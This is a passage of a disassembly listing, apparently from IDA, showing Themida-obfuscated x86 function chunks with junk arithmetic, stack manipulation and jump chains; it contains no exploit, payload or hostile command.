OF FUNCTION CHUNK FOR sub_560B67 loc_566E51: ; CODE XREF: sub_560B67+5038j push esp pop ebp push edi jmp loc_5616AF ; END OF FUNCTION CHUNK FOR sub_560B67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568D4B loc_566E59: ; CODE XREF: sub_568D4B+6j mov edx, 4 add ebx, edx pop edx push ebp mov ebp, 4 add ebx, ebp pop ebp jmp loc_5668E6 ; END OF FUNCTION CHUNK FOR sub_568D4B ; --------------------------------------------------------------------------- loc_566E6F: ; CODE XREF: Themida_:00569088j xor ebp, 0FA89FE8Fh sub ebx, ebp pop ebp add ebx, 4B035BF8h add ebx, ebp sub ebx, 4B035BF8h add ebx, 75EB3F41h sub ebx, 9597380h pop ebp xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_55F72F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_566EA1: ; CODE XREF: sub_56755A-1C19j add edi, 4 sub edi, 4 push edi jmp loc_563FC7 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_566EB3: ; CODE XREF: Themida_:0056F4D2j or ah, 2Fh push ecx mov ch, 6Bh shl ch, 3 dec ch xor ch, 0EBh neg ch not ch sub ch, 0C6h sub ah, ch pop ecx and bh, ah pop eax add bh, 0AAh push edx mov dh, 36h sub dh, 0B1h jmp loc_55EA63 ; --------------------------------------------------------------------------- loc_566EDC: ; CODE XREF: Themida_:0055E6F5j mov cx, [esp] push eax jmp loc_55F6EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_566EE6: ; CODE XREF: sub_56755A-4546j dec edx shl edx, 5 jmp loc_55BA6C ; --------------------------------------------------------------------------- loc_566EEF: ; CODE XREF: sub_56755A+4D9Fj xor edx, [esp-10h+arg_C] pop esp jmp loc_564590 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_566EF8: ; CODE XREF: Themida_:005626FAj sub al, bh mov ebx, [esp] add esp, 4 push ebx mov bh, 7Ah xor bh, 86h add al, bh pop ebx add cl, al pop eax jmp loc_55E5CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_566F11: ; CODE XREF: sub_56755A+6F88j pop edx jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_566F17: ; CODE XREF: Themida_:00570077j mov ebp, esp jmp loc_56303C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55C719 loc_566F1E: ; CODE XREF: sub_55C719+10193j push edx jmp loc_56A83C ; END OF FUNCTION CHUNK FOR sub_55C719 ; --------------------------------------------------------------------------- loc_566F24: ; CODE XREF: Themida_:0056A638j sub ebp, esi pop esi xchg ebp, [esp] jmp loc_562F08 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_566F2F: ; CODE XREF: sub_56755A-6E83j push eax jmp loc_56B7C5 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_566F35: ; CODE XREF: Themida_:0056502Bj push edi push esp jmp loc_56DF75 ; --------------------------------------------------------------------------- loc_566F3C: ; CODE XREF: Themida_:0055CF3Aj xchg esi, [esp] pop esp mov [esp], esi jmp loc_55E61A ; --------------------------------------------------------------------------- loc_566F48: ; CODE XREF: Themida_:00569A7Aj pop esp cmp ecx, eax pushf jmp loc_55B555 ; --------------------------------------------------------------------------- loc_566F51: ; CODE XREF: Themida_:0056F37Aj push ebx mov ebx, 79D661B9h push eax mov eax, ebx mov ecx, eax pop eax jmp loc_56D041 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56885A loc_566F62: ; CODE XREF: sub_56885A+1j mov ebp, 4 add edi, ebp pop ebp push ebp jmp loc_565B6A ; END OF FUNCTION CHUNK FOR sub_56885A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_566F70: ; CODE XREF: sub_56755A-B78Ej add esp, 4 jmp loc_5644C1 ; --------------------------------------------------------------------------- loc_566F78: ; CODE XREF: sub_56755A-5EB0j mov esp, [esp+0Ah+var_C+2] mov word ptr [esp+0Ah+var_C+2], cx movzx cx, al push cx pushf jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- pop small word ptr [edx] jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_566F93: ; CODE XREF: sub_56755A-2A06j push edx jmp loc_56A07A ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_566F99: ; CODE XREF: Themida_:0056E2ABj mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_55B770 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_566FAC: ; CODE XREF: sub_56755A-7852j pop edx add esp, 4 push eax mov eax, 4CD21EA7h jmp loc_55B759 ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_566FBB proc near ; CODE XREF: sub_56B274-64FCj var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_10 = dword ptr 14h ; FUNCTION CHUNK AT 0055F079 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005610CC SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00561B93 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00565FDF SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005660D3 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056A188 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056CBD2 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0056CC71 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056D9B7 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 0056F404 SIZE 0000000A BYTES push ebp mov ebp, edi jmp loc_565FDF sub_566FBB endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_566FC3: ; CODE XREF: Themida_:0056BEF4j xor esi, edi pop edi push edx mov edx, 59B86B3Fh neg edx not edx sub edx, 592048FAh add ebx, edx pop edx add ebx, esi sub ebx, 982244h jmp loc_56AD1C ; --------------------------------------------------------------------------- loc_566FE6: ; CODE XREF: Themida_:00561523j mov [esp], esp add dword ptr [esp], 4 pop edx push 36B7h mov [esp], edi mov edi, 4 add edx, edi pop edi jmp loc_567832 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_567003: ; CODE XREF: sub_56755A-AD2Dj mov [esp-8+arg_4], ebx push [esp-8+arg_4] push [esp-4+arg_0] pop eax add esp, 4 sub esp, 4 mov [esp-4+arg_0], edx push esp jmp loc_5666C2 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561ED8 loc_56701F: ; CODE XREF: sub_561ED8+3216j add dl, 0FFh inc dl push ecx mov ch, 22h shr ch, 6 inc ch and ch, 0B6h jmp loc_55FBE3 ; END OF FUNCTION CHUNK FOR sub_561ED8 ; --------------------------------------------------------------------------- loc_567034: ; CODE XREF: Themida_:0055EB65j add ecx, 1FCB449Dh sub ecx, edi sub ecx, 1FCB449Dh mov edi, [esp] add esp, 4 add ecx, esi add ecx, 41B355BBh push edi mov edi, 77056922h jmp loc_55C092 ; --------------------------------------------------------------------------- mov cx, [esp] push edi mov edi, esp push ebx mov ebx, 2E8541C4h inc ebx not ebx shl ebx, 1 jmp loc_5632AC ; --------------------------------------------------------------------------- loc_567075: ; CODE XREF: Themida_:005705FCj push edi push esi mov esi, 651A4F2Eh mov edi, esi pop esi shr edi, 7 push ebp jmp loc_55D900 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB1B loc_567088: ; CODE XREF: sub_56CB1B-F8Dj not ecx xchg ecx, ebx inc ebx push ebp mov ebp, 1 sub ebx, 13251B31h sub ebx, ebp add ebx, 13251B31h jmp loc_566B47 ; END OF FUNCTION CHUNK FOR sub_56CB1B ; --------------------------------------------------------------------------- loc_5670A6: ; CODE XREF: Themida_:005601A4j push 945BCDEDh pop esi add ecx, 43F434CBh sub ecx, esi sub ecx, 43F434CBh pop esi jmp loc_55ECE9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562F62 loc_5670C0: ; CODE XREF: sub_562F62+9F82j not dword ptr [esp+0] pop ecx xchg ecx, edx neg edx shl edx, 6 jmp loc_5613DB ; END OF FUNCTION CHUNK FOR sub_562F62 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5670D0: ; CODE XREF: sub_56755A-53D4j push [esp+18h+var_18] mov ebx, [esp+1Ch+var_1C] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+20h+var_20] pop esp add esp, 4 sub esp, 4 mov [esp+1Ch+var_1C], edi mov edi, 36A7415Ch not edi sub edi, 1 dec edi not edi xor edi, 6C8E1E3Bh xor eax, edi push [esp+1Ch+var_1C] jmp loc_55FFA3 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56710B: ; CODE XREF: Themida_:0056C480j add esp, 4 shl edx, 8 push esi mov esi, 45D15BE5h shr esi, 7 shr esi, 8 jmp loc_56BA76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AE72 loc_567122: ; CODE XREF: sub_56AE72+6j add ecx, ebx pop ebx jmp loc_566332 ; END OF FUNCTION CHUNK FOR sub_56AE72 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56026A loc_56712A: ; CODE XREF: sub_56026A+1201j add ecx, eax pop eax push ebp mov ebp, 4 jmp loc_560557 ; END OF FUNCTION CHUNK FOR sub_56026A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F653 loc_567138: ; CODE XREF: sub_56F653-56C3j mov [esp+0Ch+var_C], eax mov eax, 349A1390h push esi mov esi, 8120829h jmp loc_55ECF4 ; END OF FUNCTION CHUNK FOR sub_56F653 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561ED8 loc_56714B: ; CODE XREF: sub_561ED8-60FEj push edx mov dl, 0C0h add bh, dl pop edx pop eax add bh, 6Ah xor dh, bh mov ebx, [esp+0] add esp, 4 add dh, 0A6h sub bl, dh pop edx push edx mov dl, 0C2h dec dl not dl dec dl dec dl jmp loc_56F45A ; END OF FUNCTION CHUNK FOR sub_561ED8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_567176: ; CODE XREF: sub_56755A-1137j xchg esi, ebx not esi xchg esi, ebx sub ebx, 298969C3h jmp loc_5618E9 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E75E loc_567187: ; CODE XREF: sub_56E75E-10AA0j sub esi, 4BCD7A03h jmp loc_565116 ; END OF FUNCTION CHUNK FOR sub_56E75E ; --------------------------------------------------------------------------- loc_567192: ; CODE XREF: Themida_:0056A7B4j add ebp, 2C2637D7h sub ebp, eax push esi mov esi, 2C2637D7h jmp loc_56DC1C ; --------------------------------------------------------------------------- loc_5671A5: ; CODE XREF: Themida_:00569483j pop edx jmp loc_56A023 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5671AB: ; CODE XREF: sub_56755A+4316j push ecx pop edx mov ecx, [esp+16h+var_18+2] add esp, 4 jmp loc_5673F5 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5671B8: ; CODE XREF: Themida_:00565275j shl ebp, 7 jmp loc_55F2DA ; --------------------------------------------------------------------------- loc_5671C0: ; CODE XREF: Themida_:005605EEj pop esi add edx, ebx mov ebx, [esp] add esp, 4 push eax mov eax, 2 add edx, eax jmp loc_568DD5 ; --------------------------------------------------------------------------- loc_5671D9: ; CODE XREF: Themida_:0055DBA2j mov edi, esp add edi, 4 jmp loc_562488 ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp jmp loc_569429 ; --------------------------------------------------------------------------- mov ax, [esp] push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], edi mov edi, esp jmp loc_567D18 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_567223: ; CODE XREF: sub_56755A+294Ej add esp, 4 xor edi, [esp+0Eh+var_10+2] jmp loc_564CCA ; --------------------------------------------------------------------------- loc_567231: ; CODE XREF: sub_56755A-75BCj not eax xchg eax, esi shr esi, 3 jmp loc_56161F ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56723C: ; CODE XREF: Themida_:0056078Aj push ebx mov ebx, 4 add eax, ebx pop ebx add eax, 4 xchg eax, [esp] pop esp pop dword ptr [esp] jmp loc_55F136 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56626C loc_567256: ; CODE XREF: sub_56626C-4C5Bj shr dl, 4 sub dl, 49h jmp loc_5685AB ; END OF FUNCTION CHUNK FOR sub_56626C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_567261: ; CODE XREF: sub_56755A+5039j push 2DBFh jmp loc_56967E ; --------------------------------------------------------------------------- loc_56726B: ; CODE XREF: sub_56755A-725Dj pop esp add esp, 4 loc_567272: ; CODE XREF: sub_566504-473Fj push esi mov esi, esp push ecx mov ecx, 4 sub esi, 5BF2061Ah add esi, ecx add esi, 5BF2061Ah pop ecx push edx sub esp, 4 mov [esp+28h+var_28], edi jmp loc_56556B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_567299: ; CODE XREF: Themida_:0056C585j push edx mov edx, 4FED172Dh shr edx, 6 jmp loc_56396D ; =============== S U B R O U T I N E ======================================= sub_5672A7 proc near ; CODE XREF: sub_55DE37+113BEj var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0056C911 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056CCA9 SIZE 0000003C BYTES push ebp mov ebp, 4 jmp loc_56CCA9 sub_5672A7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566504 loc_5672B2: ; CODE XREF: sub_566504+9EEFj dec esi jmp loc_56A352 ; END OF FUNCTION CHUNK FOR sub_566504 ; --------------------------------------------------------------------------- loc_5672B8: ; CODE XREF: Themida_:00563070j pop ecx pop edi not ecx jmp loc_55BBEF ; --------------------------------------------------------------------------- loc_5672C1: ; CODE XREF: Themida_:005666EFj sub ebx, ecx mov ecx, [esp] add esp, 4 add ebx, ecx jmp loc_55BF7D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56885A loc_5672D0: ; CODE XREF: sub_56885A-2CE8j xor edi, [esp+0] xor [esp+0], edi jmp loc_55E460 ; END OF FUNCTION CHUNK FOR sub_56885A ; --------------------------------------------------------------------------- loc_5672DB: ; CODE XREF: Themida_:00568298j sub ax, bp jmp loc_568F99 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55C719 loc_5672E3: ; CODE XREF: sub_55C719+8577j mov [esp+8+var_8], esi jmp loc_56FC09 ; END OF FUNCTION CHUNK FOR sub_55C719 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5672EB: ; CODE XREF: sub_56755A+57Dj push ecx jmp loc_55D306 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56ADDA loc_5672F1: ; CODE XREF: sub_56ADDA+1j mov ebx, 3E6375B3h sub [eax], ebx pop ebx jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56ADDA ; --------------------------------------------------------------------------- loc_5672FE: ; CODE XREF: Themida_:0056E1BBj add bh, cl pop ecx jmp loc_56BA1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F7FC loc_567306: ; CODE XREF: sub_56F7FC-EFFBj sub ebx, eax pop eax jmp loc_56FA19 ; END OF FUNCTION CHUNK FOR sub_56F7FC ; --------------------------------------------------------------------------- loc_56730E: ; CODE XREF: Themida_:0055C498j mov esi, [esp] add esp, 4 push 7AF7h jmp loc_56DE2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56731E: ; CODE XREF: sub_56755A+2657j mov al, bl jmp loc_56DE68 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_567325: ; CODE XREF: Themida_:0055D419j add ecx, 4 jmp loc_568420 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_567330: ; CODE XREF: sub_56755A-76CBj neg edx shr edx, 6 xor edx, 3EFEAA5h jmp loc_55C27B ; --------------------------------------------------------------------------- loc_567340: ; CODE XREF: sub_56755A-6C86j pop edx add esp, 4 jmp loc_56C9FB ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56734C: ; CODE XREF: Themida_:0055E26Cj push dword ptr [esp] pop ebx jmp loc_564C51 ; --------------------------------------------------------------------------- loc_567355: ; CODE XREF: Themida_:005645C7j mov cl, 0ABh push 11DEh mov [esp], ebx jmp loc_564F4E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_567364: ; CODE XREF: sub_56755A-5648j pop ebx add ebx, 4 sub ebx, 4 jmp loc_55D7CE ; --------------------------------------------------------------------------- loc_567376: ; CODE XREF: sub_56755A+435Aj sub eax, 344348DCh add eax, ebx add eax, 344348DCh jmp sub_560D65 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_567387: ; CODE XREF: Themida_:0056D056j or ebx, 19332B4Fh jmp loc_5626C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5600E2 loc_567392: ; CODE XREF: sub_5600E2+35BAj add esp, 4 xchg edi, [esp+4+var_4] mov esp, [esp+4+var_4] mov ebx, edx pop edx jmp loc_55B98C ; END OF FUNCTION CHUNK FOR sub_5600E2 ; --------------------------------------------------------------------------- loc_5673A6: ; CODE XREF: Themida_:00564F49j mov ebx, esp jmp loc_560BBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D600 loc_5673AD: ; CODE XREF: sub_56D600-10763j sub bl, al add bl, 4 pop ax sub al, bl push [esp-8+arg_4] pop ebx push ecx jmp loc_56B7FB ; END OF FUNCTION CHUNK FOR sub_56D600 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5643B1 loc_5673C0: ; CODE XREF: sub_5643B1-2E57j or esi, 63FF7325h or esi, 23AD0ACEh add esi, 11311D82h jmp loc_560E46 ; END OF FUNCTION CHUNK FOR sub_5643B1 ; --------------------------------------------------------------------------- loc_5673D7: ; CODE XREF: Themida_:00562190j shl esi, 7 jmp loc_56C473 ; =============== S U B R O U T I N E ======================================= sub_5673DF proc near ; CODE XREF: sub_55F5D6+F035j var_8 = dword ptr -8 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0055DA06 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0055E59B SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0055E7CE SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00562678 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0056C1AC SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056F983 SIZE 0000000C BYTES push ebx push 6E24943h mov ebx, [esp+8+var_8] jmp loc_56C1AC sub_5673DF endp ; sp-analysis failed ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_567867 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5673F5: ; CODE XREF: sub_56755A-3A7j sub eax, edx mov edx, [esp+12h+var_14+2] push edx jmp loc_55DCD0 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5607D3 loc_567400: ; CODE XREF: sub_5607D3+5F85j add [esp+arg_4], 4C751881h sub [esp+arg_4], ebp sub [esp+arg_4], 4C751881h mov ebp, [esp+0] add esp, 4 add [esp-4+arg_4], ecx add [esp-4+arg_4], 29BB64DEh pop ecx pop dword ptr [eax] jmp sub_56ADDA ; END OF FUNCTION CHUNK FOR sub_5607D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_567431: ; CODE XREF: sub_56755A-4DE7j mov edx, ecx jmp loc_56A3C3 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_567438: ; CODE XREF: Themida_:0055E83Fj push esi mov esi, 4C45789Dh jmp loc_55C4B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_567443: ; CODE XREF: sub_56755A+2C71j or edx, eax jmp loc_56A6BE ; --------------------------------------------------------------------------- loc_56744A: ; CODE XREF: sub_56755A+67ACj mov edi, esp push ebx push edi mov edi, 28C045FEh mov ebx, 28C045FAh xor ebx, edi pop edi add edi, ebx pop ebx push eax mov eax, 43EB66FAh shl eax, 4 or eax, 788C7DF2h xor eax, 798D4F78h xor eax, 733308Eh add edi, eax jmp loc_56B0EF ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56747D: ; CODE XREF: Themida_:00560E59j not eax sub eax, 13581784h xor edi, eax pop eax sub eax, 1F421B29h add eax, edi push esi mov esi, 1F421B29h add eax, esi jmp loc_562504 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56749B: ; CODE XREF: sub_56755A+3D15j sub bh, 0DDh push cx mov ch, 2Eh sub bh, ch pop cx add al, bh pop ebx push ecx jmp loc_567A36 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5674AF: ; CODE XREF: Themida_:00560CB8j pop ecx add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx sub esp, 4 mov [esp], ecx push edx mov dl, 58h mov ch, dl pop edx push eax mov ah, 0BBh neg ah add ah, 0Eh and ch, ah pop eax push edx mov dh, 0ECh add dh, 0FFh add dh, 0E3h jmp loc_56951D ; --------------------------------------------------------------------------- loc_5674E8: ; CODE XREF: Themida_:00565F38j pop dword ptr [esp] add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_55B555 ; --------------------------------------------------------------------------- loc_5674FB: ; CODE XREF: Themida_:00561856j add esi, 4 xchg esi, [esp] pop esp jmp loc_55ED97 ; --------------------------------------------------------------------------- loc_567507: ; CODE XREF: Themida_:00560FE5j jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EAA9 loc_56750C: ; CODE XREF: sub_56EAA9+5Bj push eax mov eax, esp jmp loc_55B925 ; END OF FUNCTION CHUNK FOR sub_56EAA9 ; --------------------------------------------------------------------------- loc_567514: ; CODE XREF: Themida_:0055EB78j shr ebx, 3 jmp loc_56A50B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D164 loc_56751C: ; CODE XREF: sub_56D164-F7FAj pop esp push ebp jmp loc_56B95E ; END OF FUNCTION CHUNK FOR sub_56D164 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_567523: ; CODE XREF: sub_56755A-499Aj add bh, 96h xor al, bh mov ebx, [esp+8+var_8] sub esp, 4 jmp loc_56A394 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_567536: ; CODE XREF: Themida_:0055E155j add edx, 0E496DD95h add ebp, edx pop edx jmp loc_56D32E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55D71E loc_567544: ; CODE XREF: sub_55D71E+92DAj mov [esp+0Ch+var_C], ecx mov cl, al jmp loc_56CDD0 ; END OF FUNCTION CHUNK FOR sub_55D71E ; --------------------------------------------------------------------------- loc_56754E: ; CODE XREF: Themida_:00562E76j pop ebx xor ebp, 49317645h jmp loc_56F809 ; =============== S U B R O U T I N E ======================================= sub_56755A proc near ; CODE XREF: sub_5B3505-55737j var_84 = dword ptr -84h var_80 = dword ptr -80h var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h arg_18 = dword ptr 1Ch arg_1C = dword ptr 20h arg_20 = dword ptr 24h arg_24 = dword ptr 28h ; FUNCTION CHUNK AT 0055B56F SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0055B5A5 SIZE 00000041 BYTES ; FUNCTION CHUNK AT 0055B5F5 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0055B623 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0055B664 SIZE 00000035 BYTES ; FUNCTION CHUNK AT 0055B6E8 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0055B718 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0055B735 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0055B759 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0055B7F3 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0055B858 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0055B8B1 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0055B90C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0055B935 SIZE 00000030 BYTES ; FUNCTION CHUNK AT 0055B972 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0055B99F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0055B9BB SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0055BA03 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0055BA42 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0055BA6C SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0055BA97 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0055BAC5 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0055BAF7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0055BB26 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0055BB73 SIZE 00000048 BYTES ; FUNCTION CHUNK AT 0055BC43 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0055BD3D SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0055BD60 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0055BDB4 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0055BEB0 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0055BF0D SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0055BF23 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0055BFFC SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0055C081 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0055C0C7 SIZE 00000043 BYTES ; FUNCTION CHUNK AT 0055C163 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0055C176 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0055C187 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0055C1A1 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0055C235 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0055C269 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0055C342 SIZE 00000069 BYTES ; FUNCTION CHUNK AT 0055C3C4 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0055C412 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0055C47A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0055C502 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0055C5ED SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0055C61C SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0055C63C SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0055C69B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0055C6C3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0055C6DE SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0055C711 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0055C726 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0055C754 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0055C7B7 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0055C7D9 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0055C7F1 SIZE 00000041 BYTES ; FUNCTION CHUNK AT 0055C897 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0055C8CB 